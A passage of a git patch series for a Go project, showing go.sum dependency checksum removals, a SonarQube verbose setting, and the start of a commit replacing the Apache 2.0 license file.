h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221201204527-e3fa12d562f3/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= -google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230112194545-e10362b5ecf9/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230113154510-dbe35b8444a5/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230123190316-2c411cf9d197/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230124163310-31e0e69b6fc2/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230125152338-dcaf20b6aeaa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230127162408-596548ed4efa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230209215440-0dfe4f8abfcc/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230216225411-c8e22ba71e44/go.mod h1:8B0gmkoRebU8ukX6HP+4wrVQUY1+6PkQ44BSyIlflHA= -google.golang.org/genproto v0.0.0-20230222225845-10f96fb3dbec/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= -google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= -google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= -google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230403163135-c38d8f061ccd/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU= -google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= -google.golang.org/genproto v0.0.0-20230526161137-0005af68ea54/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= -google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= -google.golang.org/genproto v0.0.0-20230629202037-9506855d4529/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= -google.golang.org/genproto v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:O9kGHb51iE/nOGvQaDUuadVYqovW56s5emA88lQnj6Y= -google.golang.org/genproto v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:0ggbjUrZYpy1q+ANUS30SEoGZ53cdfwtbuG7Ptgy108= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= -google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= -google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230629202037-9506855d4529/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:mPBs5jNgx2GuQGvFwUvVKqtn6HsUw9nP64BedgvqEsQ= -google.golang.org/genproto/googleapis/api v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:rsr7RhLuwsDKL7RmgDDCUc6yaGr1iqceVb5Wv6f6YvQ= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= -google.golang.org/genproto/googleapis/bytestream v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:ylj+BE99M198VPbBh6A8d9n3w8fChvyLK3wwBOjXBFA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230629202037-9506855d4529/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:8mL13HKkDa+IuJ8yruA3ci0q+0vsUz4m//+ottjwS5o= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230731190214-cbb8c96f2d6d/go.mod h1:TUfxEVdsvPg18p6AslUXFoLdpED4oBnGwyqk3dV1XzM= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230803162519-f966b187b2e5/go.mod h1:zBEcrKX2ZOcEkHWxBPAIvYUWOKKMIhYcmNiUIu2ji3I= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -2180,38 +826,7 @@ google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKa google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= -google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= -google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= -google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= -google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= -google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= -google.golang.org/grpc v1.52.3/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= -google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= -google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= -google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= -google.golang.org/grpc v1.56.2/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s= google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= @@ -2228,11 +843,6 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= @@ -2240,7 +850,6 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -2259,7 +868,6 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -2270,60 +878,6 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= -lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.37.0/go.mod h1:vtL+3mdHx/wcj3iEGz84rQa8vEqR6XM84v5Lcvfph20= -modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= -modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= -modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= -modernc.org/ccgo/v3 v3.0.0-20220904174949-82d86e1b6d56/go.mod h1:YSXjPL62P2AMSxBphRHPn7IkzhVHqkvOnRKAKh+W6ZI= -modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= -modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= -modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g= -modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= -modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= -modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= -modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= -modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= -modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= -modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= -modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= -modernc.org/libc v1.17.4/go.mod h1:WNg2ZH56rDEwdropAJeZPQkXmDwh+JCA1s/htl6r2fA= -modernc.org/libc v1.18.0/go.mod h1:vj6zehR5bfc98ipowQOM2nIDUZnVew/wNC/2tOGS+q0= -modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0= -modernc.org/libc v1.21.4/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI= -modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= -modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.3.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= -modernc.org/sqlite v1.18.2/go.mod h1:kvrTLEWgxUcHa2GfHBQtanR1H9ht3hTJNtKpzH9k1u0= -modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= -modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= -modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= -modernc.org/tcl v1.13.2/go.mod h1:7CLiGIPo1M8Rv1Mitpv5akc2+8fxUd2y2UzC/MfMzy0= -modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/sonar-project.properties b/sonar-project.properties index 69e6cd5f14..995647a195 100644 --- a/sonar-project.properties +++ b/sonar-project.properties @@ -10,3 +10,5 @@ sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*sc sonar.tests=. sonar.test.inclusions=**/*_test.go sonar.go.coverage.reportPaths=coverage.out + +sonar.verbose=true From 6d75264aa334101a8c116820e03f2a0b28dca28f Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 19 Dec 2023 16:39:24 +0100 Subject: [PATCH 0960/1062] update license file --- LICENSE | 290 +++++++++++++++++--------------------------------------- 1 file changed, 89 insertions(+), 201 deletions(-) diff --git a/LICENSE b/LICENSE index 261eeb9e9f..41e00fffae 100644 --- a/LICENSE +++ b/LICENSE @@ -1,201 +1,89 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, 